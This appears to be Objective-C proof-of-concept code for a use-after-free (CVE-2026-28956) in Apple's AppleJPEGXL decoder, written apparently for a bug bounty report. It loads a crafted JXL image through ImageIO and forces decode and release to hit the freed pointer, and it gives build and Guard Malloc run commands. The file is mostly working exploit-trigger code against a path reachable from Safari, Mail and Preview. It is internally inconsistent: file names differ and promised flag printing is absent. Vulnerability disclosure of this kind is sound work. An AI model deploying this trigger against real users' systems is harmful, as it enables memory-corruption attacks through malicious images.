/* * wkwebview_poc.m — PoC: AppleJPEGXL JxlDecoderDestroy UAF via ImageIO * with Apple Security Bounty (ASB) Target Flag capture (via dylib interpose) * * Demonstrates that the vulnerability is reachable from Safari's rendering * engine by loading the crafted JXL image through ImageIO (same code path * as Safari's WebContent process). This pipeline is also used in manuy other processes (Mail, Preview, etc.) * * Build: * clang -o wkwebview_poc cgimagesource.m \ * -framework AppKit -framework Foundation \ * -framework ImageIO -framework CoreGraphics * * Run (with Guard Malloc to detect the UAF): * DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib \ * MallocScribble=1 MallocGuardEdges=1 \ * ./cgimagesource_poc poc.jxl * * Run under lldb: * lldb -- ./cgimagesource poc.jxl * (lldb) env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib * (lldb) env MallocScribble=1 * (lldb) env MallocGuardEdges=1 * (lldb) run * * Expected result: * SIGABRT in AppleJPEGXL during JxlDecoderDestroy, attempting to free * scribbled pointer 0xaaaaaaaaaaaaaaaa (use-after-free). * The ASB target flag values printed before the crash allow correlation * with the crash log's register state. */ #import #import /* Direct ImageIO decode — same path Safari uses internally */ #import #import extern bool CGRenderingStateSetAllowsAcceleration(void *, bool); extern void *CGContextGetRenderingState(CGContextRef); static void trigger_via_imageio(const char *path) { @autoreleasepool { NSData *data = [NSData dataWithContentsOfFile:[NSString stringWithUTF8String:path]]; if (!data) { fprintf(stderr, "Cannot read %s\n", path); return; } printf("[*] Decoding JXL via ImageIO (CGImageSourceCreateWithData)...\n"); CFDataRef cfdata = (__bridge CFDataRef)data; CGImageSourceRef source = CGImageSourceCreateWithData(cfdata, NULL); if (!source) { printf("[-] CGImageSourceCreateWithData returned NULL\n"); return; } size_t count = CGImageSourceGetCount(source); printf("[*] Image source created, %zu image(s)\n", count); for (size_t i = 0; i < count && i < 4; i++) { CGImageRef image = CGImageSourceCreateImageAtIndex(source, i, NULL); if (image) { size_t w = CGImageGetWidth(image); size_t h = CGImageGetHeight(image); printf("[*] Image %zu: %zux%zu\n", i, w, h); /* Force full pixel decode — triggers the vulnerable code path */ if (w > 0 && h > 0 && w <= 8192 && h <= 8192) { CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB(); CGContextRef ctx = CGBitmapContextCreate( NULL, w, h, 8, 4 * w, cs, (CGBitmapInfo)kCGImageAlphaPremultipliedLast); if (ctx) { CGContextDrawImage(ctx, CGRectMake(0, 0, w, h), image); CGContextRelease(ctx); } CGColorSpaceRelease(cs); } CGImageRelease(image); } } printf("[*] Releasing image source (triggers JxlDecoderDestroy)...\n"); CFRelease(source); /* If we reach here without crashing, the UAF was not detected. Run with Guard Malloc (MallocScribble=1) to reveal it. */ printf("[+] Decode completed. If no crash, run with Guard Malloc.\n"); } } int main(int argc, const char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s \n", argv[0]); fprintf(stderr, "\nRun with Guard Malloc to trigger:\n"); fprintf(stderr, " DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib " "MallocScribble=1 %s poc.jxl\n", argv[0]); return 1; } printf("[*] AppleJPEGXL UAF - CVE-2026-28956\n"); printf("[*]\n"); /* Read and display ASB target flags before triggering the crash */ /* Disable GPU acceleration */ CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB(); CGContextRef setup = CGBitmapContextCreate(0, 32, 32, 8, 0, cs, 1); CGRenderingStateSetAllowsAcceleration(CGContextGetRenderingState(setup), false); CGColorSpaceRelease(cs); /* Trigger the vulnerability through ImageIO (same as Safari) */ trigger_via_imageio(argv[1]); return 0; }